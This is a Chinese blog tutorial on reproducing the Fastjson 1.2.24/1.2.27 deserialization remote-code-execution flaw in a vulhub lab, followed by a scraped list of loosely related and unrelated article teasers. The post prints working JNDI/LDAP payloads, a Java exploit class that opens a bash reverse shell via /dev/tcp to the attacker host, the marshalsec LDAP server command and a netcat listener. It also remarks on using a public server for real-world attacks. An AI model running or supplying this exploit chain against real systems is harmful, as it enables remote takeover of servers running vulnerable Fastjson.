入职大厂必会

写在前面的话:请注意本篇博客最后面的附(注意java版本),本篇博客采用的是LDAP服务getshell,rmi同理。阅读本篇博客需了解fastjson,ldap,rmi。

启动靶场

在终端里进入事先进入准备好的vulhub靶场目录下,

cd fastjson/1.2.24-rce/
sudo docker-compose up -d

执行命令后,看到如下图所示即为成功,此时可在浏览器中输入http://ip:8090,正常访问即为靶场启动成功。

漏洞发现

漏洞成因

从 fastjson 漏洞形成的原因看,是目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,这就给了攻击者可乘之机,构造对应的 payload ,让系统执行,然后达到代码执行,甚至命令执行的目的。

寻找方式

寻找存在 Fastjson 漏洞的方法,就是先找到参数中内容是 json 数据的接口,然后使用构造好的测试 payload 进行提交验证,检测原理跟 sql 注入差不多,首先找到参数提交的地方,然后再用 payload 尝试。

明白寻找方式后,我们对靶场json进行测试,发现如下图所示

此时我们对红框中的GET改成POST,添加Content-Type字段为application/json,再添加请求参数,如下图所示:

可见返回来的结果被改变了,于是提交java对象试试,代码如下所示:

1.2.24:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.75.144:1005/exp","autoCommit":true}
}

1.2.27:

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.75.144:1005/exp","autoCommit":true}
}

发现报错,说明存在fastjson漏洞。请求结果如下所示:

漏洞复现

此时声明一下我所使用的环境:

主机 IP 作用
Ubuntu22.04虚拟机 192.168.75.146 靶机
Win10虚拟机 192.168.75.144 攻击机

EXP

import java.lang.Runtime;
import java.lang.Process;public class exp {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.75.144/1004 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

准备一个简单的EXP,写Shell配置好反弹地址和端口后,使用javac进行编译:

javac C:\Users\Anonymous\Desktop\exp.java

编译完成后,通过phpstudy开启网站服务,(**如果是打实战的话,需要用到公网服务器做服务端getshell。)**然后将编译后的exp.class文件移动到www目录下。

marshalsec开启RMI或LDAP服务

攻击时还需要了解一个东西=>marshalsec,通过github可以获取到:

点我下载

下载成功后,需要使用maven对其进行编译,编译过程可在网上查找,此处不做过多叙述。

为什么需要marshalsec呢?答案是需要通过其开启RMI服务或LDAP服务。

这两个服务是干嘛的呢?答案在此,就不做多叙述。

点我查看答案

本篇博客采用的是LDAP服务进行攻击,接下来我们在攻击机上开启服务端,通过命令开启LDAP服务:

java -cp C:\Users\Anonymous\Desktop\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.75.144/#exp 1005

**记得改IP和端口还有文件名。**因为采用phpstudy搭建的服务端,默认端口为80可省略不写。

GetShell

上述准备工作做好后,新开一个终端,执行:

nc -lvp 1004

然后通过burp进行恶意请求,请求格式如下:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.75.144:1005/exp","autoCommit":true}
}

发送请求后,我们可以看到没有返回结果,并且发送数据仍在进行中没有停下,请求过程如下图所示:

此时我们在反弹shell的终端里输入ls,可看到如下图所示:

可以看到成功拿到shell,至此,复现FastJson1.2.24及以下版本的漏洞利用到此结束。

附(RMI和LDAP对java的版本要求如下,本篇博客采用的java版本是8u181):

(一)vulhub专栏:FastJson1.2.24、1.2.27漏洞复现相关推荐

  1. 【Vulhub】Apache Log4j Server 反序列化命令执行漏洞复现(CVE-2017-5645)

    脚本小子上线啦,开始复现以前出现实战环境的漏洞了,我会记录一些复现的漏洞(不会是全部),今天这个漏洞的原理我也不太会就知道是个Java反序列化的洞,只负责复现(脚本小子~). 漏洞介绍&环境搭 ...

  2. FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

    #FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...

  3. Fastjson1.2.47反序列化漏洞复现

    一.漏洞描述 Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中.Fastjson提供了autotype功能,允许用户在反序列化数据中通过&quo ...

  4. Fastjson 1.2.24 反序列化漏洞复现

    Fastjson 1.2.24 反序列化漏洞复现 1.漏洞介绍 FastjsonEngine是其中的一个JSON处理引擎.Fastjson是其中的一个基于Java的JSON解析器/生成器. Pippo ...

  5. Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)

    1.漏洞信息 1.1 漏洞简介 · 漏洞名称:Fastjson 1.2.24远程代码执行漏洞(com.sun.org.apache.xalan.internal.xsltc.trax.Template ...

  6. fastjson 1.22-1.24 漏洞复现与分析

    fastjson 1.22-1.24 漏洞复现与分析 前言 QAQ,感觉自己啥也不会,要好好努力学习了.但是由于本人遗忘度很大,因此要记下来学习QAQ. 概念 RMI(Remote Method In ...

  7. shiro550反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    漏洞原理 本文所有使用的脚本和工具都会在文末给出链接,希望读者可以耐心看到最后. 啥是shiro? Shiro是Apache的一个强大且易用的Java安全框架,用于执行身份验证.授权.密码和会话管理. ...

  8. docker kali安装mysql_kali安装docker(有效详细的教程) ——vulhub漏洞复现 001

    前记: 博主有着多次安装docker的丰富经验,曾经为了在kali成功安装docker花费不少时间.在kali2016.3一直到最新的kali2019.4都通吃!所以跟着下面的步骤走,绝对不会出错.( ...

  9. 健康计划 用户输入身高(m),体重(kg) 计算公式:BMI = 体重 / 身高^2 BMI < 18.5:过轻 18.5≤ BMI <24:正常 24 ≤ BMI <27:过重 27

    计算公式:BMI = 体重(kg) / 身高(m)^2 BMI < 18.5 :过轻 18.5 ≤ BMI < 24 :正常 24 ≤ BMI < 27 :过重 27 ≤ BMI & ...

最新文章

  1. 如何实现在H5里调起高德地图APP?(下)
  2. OSChina 周日乱弹 —— 冬季忧郁症五大特征
  3. mybaits九:自定义结果映射规则
  4. BRCM5.02编译七:No package 'uuid' found
  5. unity 角度限制_Unity自定义可编程渲染管线(SRP)(九)——灯光照明
  6. 语言学生学籍管理系统流程图_基于C语言的学生管理系统(含文件)(一)
  7. iOS底层面试题--RunLoop
  8. 【Qt开发】V4L2 API详解 Buffer的准备和数据读取
  9. 【华为云实战开发】11.如何快速开展嵌入式开发项目?
  10. Linux创建SSH信任关系
  11. 天气预测频繁2项集_寻攻略 | 天气不似预期?我从来没在怕的
  12. 【阿里巴巴Java编程规范学习 二】Java基本编程规约(下)
  13. als算法参数_推荐算法之ALS
  14. ionic3学习之Events
  15. Xshell6官网个人免费版下载
  16. Cooapods为iOS项目配置SnapKit等第三方框架
  17. 星座 member.php,计算 星座 PHP
  18. 【通俗易懂的通信】信源的相关性和剩余度(冗余度)
  19. 继电保护整定值计算软件_继电保护的整定计算.doc
  20. PLC梯形图编程实战【逻辑实现】

热门文章

  1. 智能车大赛电磁组------电感的测试
  2. fedora 18 19 20 21 22 23 怎么安装中文语言包
  3. Ubuntu常用软件列表
  4. 请写出至少五个块级元素_Html中行内元素有哪些?块级元素有哪些
  5. EventBus3.0使用详解---参考官网
  6. 基于狂神说SpringMVC笔记总结
  7. html+css点亮灯泡
  8. android开发提示对话框,Android中Notification 提示对话框
  9. 脚本语言---来于百度
  10. 2018年7月英语总结